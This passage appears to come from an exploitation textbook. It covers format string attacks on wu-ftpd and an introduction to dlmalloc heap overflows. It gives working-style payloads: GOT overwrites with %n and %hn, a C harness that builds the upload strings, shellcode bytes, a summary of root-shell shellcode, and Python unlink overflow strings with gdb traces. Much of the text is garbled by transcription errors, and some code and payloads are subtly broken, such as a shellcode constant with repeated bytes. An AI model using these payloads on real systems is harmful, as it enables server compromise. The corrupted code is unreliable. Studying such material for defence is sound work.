 The destructors (DTORS) table (destructors get called just before exit)  

 C library hooks such as malloc_hook, realloc_hook and free_hook 

 The atexit structure (see the man atexit) 

 Any other function pointer, such as C++ vtables, callbacks, and so on 

 In Windows, the default unhandled exception handler, which is (nearly) 
always at the same address 

Since we're being lazy, we'll use the GOT technique, since it allows 
flexibility, is fairly simple to use, and opens the way to more subtle format 
string exploits. For more information on GOT, see www.wiley.com/ 
compbooks/koziol. 

Let's look briefly at the vulnerable part of wu-ftpd before we look at the 
GOT: 
 

void vreply(long flags, int n, char *fmt, va_list ap)  
{ 

char buf[BUFSIZ]; 
 

flags &= USE_REPLY_NOTFMT | USE_REPLY_LONG; 
if (n)                 /* if numeric is 0, don't output one; use 

n==0 in place of printf's */ 
sprintf(buf, "%03d%c", n, flags & USE_REPLY_LONG ? '-' : ''); 
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/* This is somewhat of a kludge for autospout. I personally  
think that 

 * autospout should be done differently, but that’s not my  
department. -Kev 

 */ if ( flags & USE_REPLY_NOTFMT) 
snprintf(buf + (n ? 4 : 0 ), n ? sizeof(buf) – 4: sizeof(buf), “%s”,fmt); 
else vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) -4 : sizeof(buf), fmt, ap); 
if ( debug )  /* debugging output :) */ 
  syslog(LOG_DEBUG, “<---%s”, buf ); 
/* Yes, you want the debugging output before the client output; 

wrapping 
  * stuff goes here, you see, and you want to log the cleartext 
and send 
  * the wrapped text to the client. 
  */ 

 printf(“%s\r\n”, buf); /* and send it to the client */ 
#ifdef TRANSFER_COUNT 
 byte_count_total += strlen(buf); 
 byte_count_out += strlen(buf); 
#endif 

fflush(stdout); 
} 

Note the bolded line. The interesting point is that there’s a call to printf 
right after the vulnerable call to vsnprintf. Let’s take a look at the GOT for 
in.ftpd. 

objdump –R /usr/sbin/in.ftpd 

<lots of output> 

0806d3b0 R_386_JUMP_SLOT printf 

<lots more output> 

We see that we could redirect execution simply by modifying the value 
stored at 0x0806d3b0. Our format string will overwrite this value and 
then(because wuftpd calls printf right after doing what we tell it to in ou 
format string) jump to wherever we like. 

If we repeat the write we did before, we’ll end up overwriting the address 
of printf with 0xa, and thus, hopefully, jumping to 0xa. 

./dowu localhost $’\xb0\xd3\x06\x08%272$n’ 1 
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If we attach gdb to our child ftp process as before, we should see this: 

(gdb) symbol –file /usr/sbin/in.ftpd 
Reading symbols form /usr/sbin/in.ftpd…done. 
(gdb) attach 11902 
Attaching to process 11902 
0x4015a344 in ??  () 
(gdb) continue 
Continuing. 
Program received signal SIGSEGV, Segmentation fult. 
0x0000000a in ??  () 

We have successfully redirected the execution path to the location of our 
choice. In order to do something meaningful we’re going to need 
shellcod—see Chapter 3 for an overview of shellcode. 

Let’s take a small amount of shellcode that we know will work, a call to 
exit(2). 

NOTE In general, I find it’s beeter to use inline assembler when developing 
exploits, because it les you play around more easily. You can create an 
exploit harness that does all the socket connection and easily writes 
snippets of shellcode if something isn’t working or if you want to do 
something slightly different. Inline assembler is also a lot more readable 
than a C string constant of hex bytes. 
 
 

#include <stdio.h> 
#include <stdlib.h> 

int main() 
{ 
   asm(“\ 
   xor %eax, %eax;\ 
   xor %ecx, %ecx;\ 
   xor %edx, %edx\ 
   mov $0x01, %al;\ 
   xor %ebx, %ebx;\ 
   mov $0x02, %bl;\ 
   int $0x80;\ 
    “); 
   return 1; 
} 

Here, we’re setting the exit syscall via int 0x80. Compile and run the code and 
verify that it works. 
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Since we need only a few bytes, we can use the GOT as the location to hold 

our code. The address of printf is stored at 0x0806d3b0. Let’s  write just after 
it ,say at 0x0806d3b4 onwards. 

This raises the question of how we write a large value to the address of our 
choice. We already know that we can see %n to write a small value to the address 
of our choice. In theory, therefore, we could perform four writes of 1 byte each, 
using the low-order byte of our “characters output so far” counter. This will of 
course overwrite 3 bytes adjacent to the value that we’re writing. 

A more efficient method is to use the h  length modifier. A following integer 
conversion corresponds to a short int or unsigned short int argument, or a 
following n conversion corresponds to a pointer to a short int argument. 

So if we use the specifier %hn we will write a 16-bit quantity. We will probably 
be able to use length specifiers in the 64K range, so let’s give this a try. 

./dowu localhost $’\xb0\xd3\x06\x08%50000x%272$n’ 1 

We get this: 
Program received signal SIGSEGV, Segmentation fault. 
0x0000c35a in ?? () 

c35a is 50010, which is exactly what we’d expect. At this point we need to 
clarify how this value (0xc35a) gets written. 

Let’s backtrack a little and run this: 

./do_wu localhost abc 0 

Wu-ftpd outputs this: 

200-index abc 

The format string we’re supplying is added to the end of the string index (which 
is six characters long). This means that when we use a %n specifier, we’re writing 
the following number: 

6 + <number of characters in our string before the %n> + <padding number> 

So, when we do this: 

./dowu localhost $’\xb0\xd3\x06\x08%50000x%272$n’ 1 

we write (6+4+50000) to the address 0x0806d3b0; in hex, 0xc35a. Now let’s try 
writing 0x41414141 to the address of printf: 

./dowu localhost $’\xb0\xd3\x06\x08\xb2\xd3\x06\x08%16691x%272$n%273$n’ 1 
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We get: 

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 

So we jumped to 0x41414141. This was kind of cheating, since we wrote the 
same value (0x4141) twice----once to the address pointed to by parameter 272 
and once to 273, just by specifying another positional parameter----%273 $n. 

If we want to write a whole series of bytes, the string will get complicated. The 
following will make it easier for us. 

 
#include <stdio.h> 
#include <stdlib.h> 
 
int safe_strcat ( char *dest, char *src, unsigned dest_len ) 
{ 
 if( ( dest == NULL ) || (src == NULL ) ) 
  return 0; 
 if( strlen(src) + strlen( dest ) +10 >= dest_len ) 
  return 0; 
 strcat( dest, src ); 
 return 1; 
} 
 
int err( char *msg ) 
{ 
 printf(“%s\n”,msg); 
 return 1; 
} 
 
int main int argc, char *argv[] ) 
{ 
 // modify the strings below to upload different data to the wu_ftpd 

process… 
 char *string_to_upload = “mary had a little lamb”; 
 unsigned int addr = 0x0806d3b0; 
 // this is the offset of the parameter that ‘contains’ the start of our string. 
 unsigned int param_num = 272; 
 char buff[ 4096 ] = “ “; 
 int buff_size = 4096; 
 char tmp[ 4096 ] = “ “; 
 int i, j, num_so_far = 6, num_to_print, num_so_far_mod; 
 unsigned short s; 
 char *psz; 
 int num_addresses, a[4]; 
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 // first work out How many addresses there are. num bytes / 2 + num bytes mod 2 .  
num_addresses = (strlen(string_to_upload ) / 2 ) + strlen ( string_to_upload ) % 2; 
for (i = 0; i < num_addresses; i++ ) 
{ 

a[0] = addr & 0xff; 
   a[1] = (addr & 0xff00) >> 8; 

   a[2] = (addr & 0xff0000 ) >> 16; 
  a[3] = (addr) >> 24; 

 
sprintf ( tmp, ''\\x%.02x\ \x%.02x\ \x%.02x\ \x%.02x" , a[0], a[1], a[2], a[3] ); 

if( !safe_strcat ( buff, tmp, buff_size ) )     
  return err("Oops. Buffer too small."); 
 

addr += 2; 
num_so_far += 4; 

} 

printf( "%s\n", buff ) ; 

// now upload the string 2 bytes at a time. Make sure that num_so_far is appropriate by 
doing %2000x or whatever. 

psz = string_to_upload; 

while( (*psz != 0) && (* (psz+1) != 0) ) 
{ 

// how many chars to print to make (so_far % 64k) ==s  

// 

s = *(unsigned short *)psz; 
num_so_far_mod = num_so_far &0xffff; 

num_to_print = 0; 

if( num_so_far_mod < s ) 

   num_to_print = s - num_so_far_mod,; 

 else 

   if( num_so_far_mod > s ) 

    num_to_print = 0x10000 – (num_so_far_mod – s); 

 // if num_so_far_mod and s are equal, we’ll ‘output’ s anyway :o) 

 num_so_far += num_to_print; 

 //print the difference in characters 

 if( num_to_print > 0 ) 
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  { 
   sprintf( tmp, “%%%dx”, num_to_print ); 
   if(!safe_strcat( buff, tmp, buff_size )) 
    return err(“Buffer too small.”); 
  } 
  //now upload the ‘short’ value 
  sprintf( tmp, “%%%d$hn”, param_num ); 
  if( !safe_strcat( buff, tmp, buff_size )) 
   return err(“Buffer too small.”); 
 
  psz += 2; 
  param_num++; 
 } 
 printf( “%s\n”, buff ); 
 
 sprintf(tmp, “./dowu hocalhost $’%s’ 1\n”,buff ); 
 
 system( tmp ); 
 
 return 0; 
 
} 
 
This program will act as a harness for the dowu code we wrote earlier, 

uploading a string(mary had a little lamb) to an address within the GOT. 
If we debug wu-ftpd and look at the location in memory that we just overwrote 

we should see: 
 
x/s 0x806d3b0 
 
 
0x806d3b0 <_GLOBAL_OFFSET_TABLE_+410>:     “mary had a little     
lamb\026@\220_\017@V￥\004…(etc) 
 
We see we can now put an arbitrary sequence of bytes pretty much wherever 

we like in memory. We’re now ready to move on to the exploit. 
If you compile the exit shellcode above then debug it in gdb, you obtain the 

following sequence of bytes representing the assembler instructions: 

\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\xb3\x02\xcd\x80 

This gives us the following string constant to upload using the 
gen_upload_string.c code above: 

char *string_to_upload =  
“\xb4\xd3\x06\x08\x31\xc0\x31\xc9\x31\xd2\xb0\x01\x31\xdb\x01\x31\xdb\xb3\x02\xcd\x80”; // 

exit(0x02); 
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There’s a slight back here that should be explained. The initial 4 bytes of this 

string are overwriting the printf entry in the GOT, jumping to the address of our 
choice when the program calls printf after executing the vulnerable vsnprintf(). In 
this case, we’re just overwriting the GOT, starting at the printf entry and continuing 
with our shellcode. This is, of course, a terrible hack but it does illustrate the 
technique with a minimum of fuss. Remember, you are reading a hacking book, 
don’t expect everything to be totally clean. 

When we run our new gen_upload string, it results in the following gdb session: 
 
 
[root@vulcan format_string]# gdb 
(gdb) attach 20578 
Attaching to process 20578 
0x4015a344 in ?? () 
(gdb) continue 
Continuing. 
 
Program exited with code 02. 
(gdb) 
 
 
Perhaps at this point, since we’re running code of our choice in wu0\-ftpd, we 

should take a look at what others have done in their exploits. 
One of the most popular exploits for the issue was the wuftpd2600.c exploit. 

We already know broadly how to make wu-ftpd run code of our choice, so the 
interesting part is the shellcode. Broadly speaking, the code does the following: 

 

1. Sets setreuid() to 0, to get root privileges. 

2. Runs dup2() to get a copy of the std handles so that our child shell process 
can use the same socket. 

3. Works out where the string constants at the end of the buffer are located in 
memory, by jmp() ing to a call instruction and then popping the saved return 
address off the stack. 

4. Breaks chroot() by using a repeated chdir followed by a chroot() call. 

5. Runs execve() in the shell. 

 
Most of the published exploits for the wu-ftpd bug use either identical code or 

code that;s exceptionally similar. 
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Why Did This Happen? 
 

So, why do format string bugs exist in the first place? You would think that 
someone implementing printf() could count the number of parameters passed in 
the function call, compare that to the number of format specifiers in the string, and 
return an error if the two didn’t agree. Unfortunately, this is not possible because of 
a fundamental problem with the way that functions with variable numbers of 
parameters are handled in C. 

To declare a function with a number of parameters, you use the ellipsis syntax, 
like this: 

 
void foo(char *fmt, …) 
 
(You might want to look at man va)arg at this point, which explains variable 

parameter list access.) 
When your function gets called, you use the va_start macro to tell the standard 

C library where your variable argument list starts. You then repeatedly call the 
va_arg macro to get arguments off the stack, and then you call the va_end macro 
to tell the standard C library that you’re finished with your variable argument list. 

The problem with this is that at no point have you been able to determine how 
many arguments you were passed, so you must rely on some other mechanism to 
tell you, such as data within a format string or an argument that’s NULL. 

 
foo(1,2,3, NULL); 
 
Although this seems pretty unbelievable, this is the ANSIC89 standard way to 

deal with functions with a variable number of arguments, so this is the standard 
that everyone’s implemented. 

In theory, any C function that accepts a variable number of arguments is 
potentially vulnerable to the same problem---it can’t tell when its argument list 
ends----although in practice these functions are few and far between. 

To summarize, the bug is all the fault of ANSI and C89, and has little or nothing 
to do with any implementer of the C standard library. 

 

Format String Technique Roundup 
 

We’re now at the point where we can start exploiting Linux format string bugs. 
Let’s quickly review the fundamental techniques that we’ve used: 
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1. If the format string is on the stack, we can supply the parameters that are used 

when we add format specifiers to the string. If we’re brute forcing offsets for a 
format string exploit,  one of the offsets we have to guess is the number of 
parameters we have to use before we get to the start of our format string. 
 
Once we can specify parameters: 
a. We can read memory from the target process using the %s specifier. 
b. We can write the number of characters output so far to an arbitrary 

address suing the %n specifier. 
c. We can modify the number of characters output so far suing width 

modifiers, and 
d. We can use the %hn modifier to write numbers 16bits at a time, which 

allows us to write values of our choice to locations of our choice. 
2. If the address that we want to write to contains one or more null bytes, you can 

still use %n to write to it, but you must do this in two stages. First, write the 
address that you want to write to into one of the parameters on the stack(you 
must know where the stack is in order to do this). Then, use %n to write to the 
address using the parameter you wrote to the stack. 
 
Alternatively, if the zero byte in the address happens to be the leading byte(as 
is oftern the case in Windows format string exploits) you can use the trailing 
null byte of the format string itself. 
 

3. Direct parameter access(in the Linux implementations of the printf 
family)allows us reuse stack parameters multiple times in the same format 
string as well as allowing us to directly use only those parameters that we are 
interested in. Direct parameter access involves using the $ modifier; for 
example: 
 
%272$x 
 
will print the 272nd parameter from the stack. This is an immensely valuable 
technique. 

4. If for some reason we can’t use %hn to write our values 16bits at a time, we 
can still use byte_aligned writes and %n: we just do four writes rather than one 
and pad our number of characters output so that we’re writing the low order 
byte each time. Table 4.1 shows an example of what we should do if we want 
to write the value 0x04030201 to the address X. 
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Table 4.1 Writing to Addresses 

ADDRESS  X X+1 X+2 X+3 X+4 X+5 X+6    

Write to X  0x01 0x01 0x01 0x01 

 

Write to X+1   0x02 0x02 0x02 0x02 

 

Write to X+2    0x03 0x03 0x03 0x03 

 

Write to X+3     0x04 0x04 0x04 0x04 

 

Memory after four writes 0x01 0x02 0x03 0x04 0x04 0x04 0x04 

 

The disadvantage of this technique is that we overwrite the 3 bytes after the 4 
bytes we’re writing. Depending on memory layout, this may not be important. This 
problem is one of the reasons why exploiting format string bugs on Windows is 
fiddly. 

Now that we’ve reviewed the basic reading and writing techniques, let’s look at 
what we can do with them: 

 Overwrite the saved return address. To do this, we must work out the 
address of the saved return address, which means either guesswork, brute 
force, or information disclosure. 

 Overwrite another application-specific function pointer. This technique is 
unlikely to be easy since most programs don’t leave function pointers 
available to you. However, you might find something useful if your target is 
a C++ application. 

 Overwrite a pointer to an exception handler, then cause an exception. This 
is extremely likely to work, and involves eminently guessable addresses. 

 Overwrite a GOT entry. We did this in wu-ftpd. This is pretty good option. 

 Overwrite the atexit handler. You may or may not be able to use this 
technique, depending on the target. 

 Overwrite entries in the DTORS section. For this technique, see the paper 
by Juan M.Bello Rivas in the bibliography. 
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 Turn a format string bug into a stack or heap overflow by overwriting a null 
terminator with non-null data. This is tricky, but the results can be quite 
funny. 

 Write application-specific data such as stored UID or GID values with 
values of your choice. 

 Modify strings containing commands to reflect commands of your choice. 

If we can’t run code on the stack, we can easily bypass the problem by the 
following: 

 Writing shellcode to the location of your choice in memory, using %n-type 
specifiers. We did this in our wu-ftpd example. 

 Using a register-relative jump if we’re brute forcing, which gives us a much 
better chance of hitting our shellcode( if it’s in our format string). 

For example, if our shellcode is at esp+0x200, we can overwrite some of the 
GOT with something like this: 

 

qdd $0x200, %esp 

jmp esp 

 

This gives us the location of the code that will jump to our shellcode, so when 
we overwrite our function pointer (GOT entry, or whatver) we know that we’ll land 
in our shellcode. The same technique works for any other register that happens to 
be pointing at or close to our shellcode after the format string has been evaluated. 

In fact, we fairly easily write a small shellcode snippet that will find the location 
of a larger shellcode buffer, and then jump to it. See Gera and Riq’s excellent 
Phrack paper at www.phrack.org/show.php?p=59&a=7 for more information. 

 

Conclusion 
 

This chapter presents just a few ideas on format string bugs as a refresher and as 
food for thought. Although format string bugs apper to be growing rarer, they offer 
such a large range of attack techniques that they are worth understanding. 

For further information on format string bugs, see www.wiley.com/compbooks/koziol 
for a list of alternative and more advanced resources. 
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CHAPTER 
5 

Introduction to 
Heap Overflows 

This chapter focuses on heap overflows on the Linux platform, which uses a 
malloc implementation originally written by Doug Lee, hence called dlmalloc. This 
chapter also introduces concepts that will help you when facing any other malloc() 
implementation. Indeed, writing a heap overflow is a rite of passage that teaches 
you how to think beyond grabbing EIP form a saved stack pointer.dlmalloc is just 
one library out of many that stores important metadata interspersed with user data. 
Understanding how to exploit malloc bugs is a key to finding innovative ways to 
exploit bugs that don’t fit into any particular category. 

Doug Lee himself has a terrific summary of dlmalloc on his Web site, at 
http://gee.cs.oswego.edu/dl/html/malloc.html. You can also find it at the 
Shellcoder’s Handbook Web page: www.wiley.com/compbooks/koziol. If you are 
unfamiliar with the Dog Lee malloc implementation, you should read it before 
going on with this chapter. Although his text goes over the concepts you’ll need to 
be familiar with during exploitation, various changes have been made in modern 
glibc to his original implementation to make it multithreaded and optimized for 
various situations. 
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When a program is running, each thread has a stack where local variables are 
stored. But for global variables, or variables too large to fit on the stack, the 
program needs another section of writable memory available as a storage space. 
In fact, it may not know at compile time how much memory it will need, so these 
segments are often allocated at runtime, using a special system call. Typically a 
Linux program has a .bss(global variables that are uninitialized) and a .data 
segment(global variables that are initialized) along with other segments used by 
malloc() and allocated with the brk() or mmap() system calls. You can see these 
segments with the gdb command maintenance info sections. Any segment that is 
writable can be referred to as a heap although often only the segments specifically 
allocated for use by malloc() are considered true heaps. As a hacker, you should 
ignore terminology and focus on the fact that any writable page of memory offers 
you a chance to take control. 

What follows is gdb before the program (basicheap) runs: 

(gdb) maintenance info sections 
Exec file: 

 ‘/home/dave/BOOK/basicheap’, file thype elf32-u386. 

0x08049434->0x08049440 at 0x00000434: .data ALLOC LOAD DATA 
HAS_CONTENTS 

0x08049440->0x08049444 at 0x00000440: .eh_frame ALLOC LOAD DATA 
HAS_CONTENTS 

0x08049444->0x0804950c at 0x00000444: .dynamic ALLOC LOAD DATA 
HAS_CONTENTS 

0x0804950c->0x08049514 at 0x0000050c: .ctors ALLOC LOAD DATA 
HAS_CONTENTS 

0x08049514->0x0804951c at 0x00000514: ,dtors ALLOC LOAD DATA 
HAS_CONTENTS 

0x0804951c->0x08049520 at 0x0000051c: .jcr ALLOC LOAD DATA HAS_CONTENTS 

0x08049520->0x08049540 at 0x00000520: .got ALLOC LOAD DATA HAS_CONTENTS 

 0x08049540->0x08049544 at 0x00000540: .bss ALLOC 

Here are a few lines from the run trace: 
brk(0) = 0x80495a4 
brk(0x804a5a4) = 0x804a5a4 
brk(0x804b000) = 0x804b000 

What follows is the output from the program, showing the addresses of two 
malloced spaces: 

buf=0x80495b0  buf2=0x80499b8 
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Here is maintenance info sections again, showing the segments used while the 
program was running. Notice the stack segment (the last one) and the segments 
that contain the pointers themselves (load2. 

 

 0x08048000->0x08048000 at 0x00001000: load1 ALLOC LOAD READONLY CODE 
HAS_CONTENTS 

 0x08049000->0x0804A000 at 0x00001000: load2 ALLOC LOAD HAS_CONTENTS 

 … 

 0xbfffe000->0xc0000000 at 0x0000f000: load11 ALLOC LOAD CODE HAS_CONTENTS 

 

(gdb) print/x $esp 

$1 = 0xbffff190 

 

How a Heap Works 

Using brk() or mmap() every time the program needs more memory is slow and 
unwieldy. Instead of doing that, each libc implementation has provided malloc(), 
realloc(), and free() for programmers to use when they need more memory, or are 
finished using a particular block of memory. 

malloc() breaks up a big block of memory allocated with brk() into chunks and 
gives the user one of those chunks when a request is made (for instance, if the 
user asks for 1000 bytes), potentially using a large chunk and splitting it into two 
chunks to do so. Likewise, when free() is called, it should decide if it can take the 
newly freed chunk, and potentially the chunks before and after it, and collect them 
into one large chunk. This process reduces fragmentation(lots of little used chunks 
interspersed with lots of little free chunks) and prevents the program from having 
to use brk() too often, if at all. 

To be efficient, any malloc() implementation stores a lot of meta-data about the 
location of the chunks, the size of the chunks, and perhaps some special areas for 
small chunks. It also organizes this information---in dlmalloc, it is organized into 
buckets, and in man other malloc implementations it is organized into a balanced 
tree structure works—you can always look it up if you need to, and you likely 
won’t.) 

This information is stored in two places: in global variables used by the malloc() 
implementation itself, and in the memory block before and/or after the allocated 
user space. So just like in a stack overflow, where the frame pointer and saved 
instruction pointer were stored directly after a buffer you could overflow, the heap 
contains important information about the state of memory stored directly after any 
user-allocated buffer. 
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Finding Heap Overflows 
The term heap overflow can be used for many bug primitives. It is helpful, as 
always, to put yourself in the programmer’s shoes and discover what kind of 
mistakes he or she possibly made, even if you don’t have the source code for the 
application. The following list is not meant to be exhaustive, but shows some 
(simplified) real-world examples: 

 samba(the programmer allows us to copy a big block of memory wherever 
we want): 
memcpy(array[user_supplied_int], user_supplied_buffer, user_supplied_int2); 

 Microsoft IIS: 

buf=malloc(user_supplied_int+1); 
memcpy(buf,user_buf,user_supplied_int); 

 IIS off by a few: 

buf=malloc(strlen(user_buf+5)); 
strcpy(buf, user_buf); 

 Solaris Login: 

buf=(char **)malloc(BUF_SIZE); 
while (user_buf[i]!=0) { 
buf[i]=malloc(strlen(user_buf[i])+1); 
i++; 
} 

 Solaris Xsun: 

buf=malloc(1024); 
strcpy(buf,user_supplied); 

Here is a comman integer overflow heap overflow combination—this will 
allocate 0 and copy a large number into it(think xdr_array). 

buf=malloc(sizeof(something) *user_controlled_int); 
for (i=0; i<user_controlled_int; i++){ 
if (user_buf[i]==0) 
break; 
copyinto(buf,user_buf); 
} 

In this sense, heap overflows occur whenever you can corrupt memory that is 
not on the stack. Because there are so many varieties of potential corruption, they 
are nearly impossible to grep for or protect against via a compiler modification. 
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Also included within the heap overflow biological order are double free() bugs, 
which are not discussed in this chapter. You can read more about double free() 
bugs in Chapter 16. 
 
Basic Heap Overflows 
The basic theory for most heap overflows is the following: Like the stack of a 
program, the heap of a program contains both data information and maintenance 
information that controls how the program sees that data. The trick is manipulating 
the malloc() or free() implementation into doing what you want it to do—alow you 
to write a word or two of memory into a place you can control. 

Let’s take a sample program and analyze it from an attacker’s perspective. 
 
/*notvuln.c*/ 
int 
main(int argc, char** argv){ 
 char *buf; 

buf=(char*)malloc(1024); 
printf(“buf=%p”,buf); 
strcpy(buf,argv[1]); 
free(buf); 

} 
 
Here’s the ltrace output from attacking this program: 
 
[dave@localhost BOOK]$ ltrace ./notvuln `perl –e ‘print “A” x 5000’ ` 
__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x08048444 
<unfinished 
…> 
malloc(1024) = 0x08049590 
printf(“buf=%p”) = 13 
strcpy(0x08049590, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”…) = 0x08049590 
free(0x08049590) = <void> 
buf=0x8049590+++ exited (status 0) +++ 
 
As you can see, the program did not crash. This is because the user’s string 

didn’t overwrite a structure the free() call needed even though the string 
overflowed the allocated buffer by quite a bit. 

Now let’s look at one that is vulnerable. 
 
/*basicheap.c*/ 
int 
main(int argc, char** argv) { 
 char *buf; 
 char *buf2; 
 buf=(char*)malloc(1024); 
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 buf2=(char*)malloc(1024); 

rintf(“buf=%p buf2=%p\n”,buf,buf2); 
 strcpy(buf,argv[1]); 
 free(buf2); 
} 
 
The difference here is that a buffer is allocated after the buffer that can be 

overflown. There are two buffers, one after another in memory, and the second 
buffer is corrupted by the first buffer being overflown. That sounds a little confusing 
at first, but if you think about it, it makes sense. This buffer’s meta-data structure is 
corrupted during the overflow and when it is freed, the collecting functionality of 
the malloc library accesses invalid memory. 

 
[dave@localhost BOOK]$ ltrace ./basicheap `perl –e ‘print “A” x 5000’ ` 
__libc_start_main(0x080483c4, 2, 0xbfffe694, 0x0804829c, 0x0804845c 
<unfinished 
…> 
malloc(1024) = 0x080495b0 
malloc(1024) = 0x080499b8 
printf(“buf=%p buf2=%p\n”, 134518192buf=0x80495b0 buf2=0x80499b8) = 29 
strcpy(0x080495b0, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”…) = 0x080495b0 
free(0x080499b8) = <void> 
--- SIGSEGV (Segmentation fault) --- 
+++ killed by SIGSEGV +++ 
 
 
NOTE Don’t forget to use ulimit –c unlimited if you are not getting core 

dumps. 
 
NOTE Once you have a way to trigger a heap overflow, you should then 

think of the vulnerable problem as a special AIP for calling malloc(), free(), 
and realloc(). The order of the allocation calls, the sizes, and the contents of 
the data put into the stored buffers need to be manipulated in order to write 
a successful exploit. 

 
In this example, we already know the length of the buffer we overflowed, and 

the general layout of the program’s memory. In many cases, however, this 
information isn’t readily available. In the case of a closed source application with a 
heap overflow, or an open source application with an extremely complex memory 
layout, it is often easier to probe the way the program reacts to different lengths of 
attack, rather than reverse engineering the entire program to find both the point at 
which the program overflows the heap buffer and when it calls free() or malloc() to 
trigger the crash. In many cases, however, developing a truly reliable exploit will 
require this kind of reverse engineering effort. After we exploit this simple case, we 
will move on to more complex diagnosis and exploitation attempts. 
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This is a key to how we will manipulate the malloc() routines to fool them into 

overwriting memory. We will clear the previous-in-use bit in the chunk header of 
the chunk we overwrite, and then set the length of the “previous chunk” to a 
negative value. This will then allow us to define our own chunk inside our buffer. 

malloc implementations, including Linux’s dlmalloc, store extra information in a 
free chunk. Because a free chunk doesn’t have user data in it, it can be used to 
store information about other chunks. The first 4 bytes of what would have been 
user data space in a free chunk are the forward pointer, and the next 4 are the 
backwards pointer. These are the pointers we will use to overwrite arbitrary data. 

This command will run our program, overflowing the heap buffer buf and 
changing the chunk header of buf2 to have a size of 0xfffffff0 and a previous size 
of 0xffffffff. 

 
NOTE Don’t forget the little-endianness of IA32 here. 
 
On some versions of RedHat Linux, perl will transmute some characters into 

their Unicode equivalents when they are printed out. We will use Python to avoid 
any chance of this. You can also set arguments in gdb after the run command. 

 
(gdb) run `python –c ‘print “A”*1024+”\xff\xff\xff\xff”+”\xf0\xff\xff\xff”’` 
 

FINDING THE LENGTH OF A BUFFER                                       
 

(gdb) x/xw buf-4 will show you the length of buf. Even if the program in not  
complied with symbols, you can often see in memory where your buffer 
starts (the beginning of the A’s) and just look at the word prior to it to find 
out how long your buffer actually is. 

 
(gdb) x/xw buf-4 
0x80495ac: 0x00000409 
(gdb) printf “%d\n”, 0x409 
1033 
 
This number is actually 1032, which is 1024 plus the 8 bytes used to store 

the chunk information header. The lowest order bit is used to indicate 
whether there is a chunk previous to this chunk. If it is set (as it is in this 
example) then there is no previous chunk size stored in this chunk’s header. 
If it is clear(a zero) then you can find the previous chunk by using buf-8 as 
the previous chunk’s size. The second lowest bit is used as a flag to say 
whether the chunk was allocated with mmap(). 
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Set a breakpoint on _int_free() at the instruction that calculates the next chunk 

and you will be able to trace the behavior of free(). (To locate this instruction, you 
can set the chunk’s size to 0x01020304 and see where in_free() crashes.) One 
instruction above that location will be the calculation: 

 
0x42073fdd <_int_free+109>: lea (%edi, %esi, 1), %ecx 
 
When the breakpoint is hit, the program will print out buf=0x80495b0 

buf2=0x80499b8 and then break. 
 
(gdb) print/x $edi 
$10 = 0xfffffff0 
(gdb) print/x $esi 
$11 = 0x80499b0 
 
As you can see, the current chunk (for buf) is stored as ESI, and the size is 

stored as EDI. glibc’s free() has been modified from the original dlmalloc(). If you 
are tracing through your particular implementation you should note that free() is 
really a wrapper to intfree in most cases. intfree takes in an “arena” and the 
memory address we are freeing. 

Let’s take look at two assembly instructions that correspond to the free() routine 
finding the previous chunk. 

 
0x42073ff8 <_int_free+136>: mov 0xfffffff8(%edx), %eax 
 
0x42073ffb <_int_free+139>: sub %eax, %esi 
 
In the first instruction (mov 0x8 (%esi), %edx), %edx is 0x80499b8, the 

address of buf2, which we are freeing. Eight bytes before it is the size of the 
previous buffer, which is now stored in %eax. Of course, we’ve overwritten this, 
which used to be a zero, to now have a 0xffffffff (-1). 

In the second instruction (add %eax, %edi), %esi holds the address of the 
current chunk’s header. We substract the size of the previous chunk’s header. Of 
course, this does not work when we’ve overwritten the size with -1. the following 
instructions(the unlink() macro) give us control: 

 
0x42073ffd <_int_free+141>: mov 0x8(%esi),%edx 
0x42074000 <_int_free+144>: add %eax,%edi 
0x42074002 <_int_free+146>: mov 0xc(%esi),%eax; UNLINK 
0x42074005 <_int_free+149>: mov %eax,0xc(%edx); UNLINK 
 
0x42074008 <_int_free+152>: mov %edx, 0x8(%eax); UNLINK 
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%esi has been modified to point to a known location within our user buffer. 

During the course of these next instructions, we will be able to control %edx and 
%eax when they are used as the arguments for writes into memory. This happens 
because the free() call, due to our manipulating buf2’s chunk header, thinks that 
the area inside buf2—which we now control—is a chunk header for an unused 
block of memory. 

 
So now we have the keys to the kingdom. 
 
The following run command(using Python to set the first argument) will first fill 

up buf, then overwrite the chunk header of buf2 with a previous size of -4. Then 
we insert 4 bytes of padding, and we have ABCD as %edx and EFGH as %eax. 

 
(gdb) r `python –c ‘print 
“A”*(1024)+”\xfc\xff\xff\xff”+”\xf0\xff\xff\xff”+”AAAAABCDEFGH” ‘ ` 
 
Program received signal SIGSEGV, Segmentation fault. 
0x42074005 in _int_free () from /lib/i686/libc.so.6 
7: /x $edx = 0x44434241 
6: /x $ecx = 0x80499a0 
5: /x $ebx = 0x4212a2d0 
4: /x $eax = 0x48474645 
3: /x $esi = 0x80499b4 
2: /x $edi = 0xffffffec 
 
(gdb) x/4i $pc 
0x42074005 <_int_free+149>: mov %eax, 0xc(%edx) 
0x42074008 <_int_free+152>: mov %edx, 0x8(%eax) 
 
Now, %eax will be written to %edx+12 and %edx will be written to %eax+8. 

Unless the program has a signal handler for SIGSEGV, you want to make sure 
both %eax and %edx are valid writable addresses. 

 
(gdb) print “%8x”, &__exit_funcs-12 
$40 = (<data variable, no debug info> *) 0x421264fc 
 
Of course, now that we’ve defined a fake chunk, we also need to define 

another fake chunk header for the “previous” chunk, or intfree will crash. By setting 
the size of buf2 to 0xfffffff0 (-16), we’ve placed this fake chunk into an area of buf 
that we control(see Figure 5.1). 

Putting this all together, we have: 
 
“A”*(1012)+”\xff”*4+”A”*8+”\xf8\xff\xff\xff”+”\xf0\xff\xff\xff”+”\xff\xff\xff\xff”*2+intel_order(word1)+

intel_order(word2) 
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word1+12 will be overwritten with word2 and word2+8 will be overwritten with 
ord1. (interl_order() takes any integer and makes it a little-endian string for use in 
overflows such as this one.) 

Finally, we simply choose what word we want to overwrite, and what we want 
to overwrite it with. In this case, basicheap will call exit() directly after freeing buf2. 
The exit functions are destructors that we can use as function pointers. 

 
(gdb) print/x __exit_funcs 
$43 = 0x4212aa40 
 
We can just use that as word1 and an address on the stack as word2. 

Rerunning the overflow with these as our argument leads to: 
 
Program received signal SIGSEGV, Segmentation fault. 
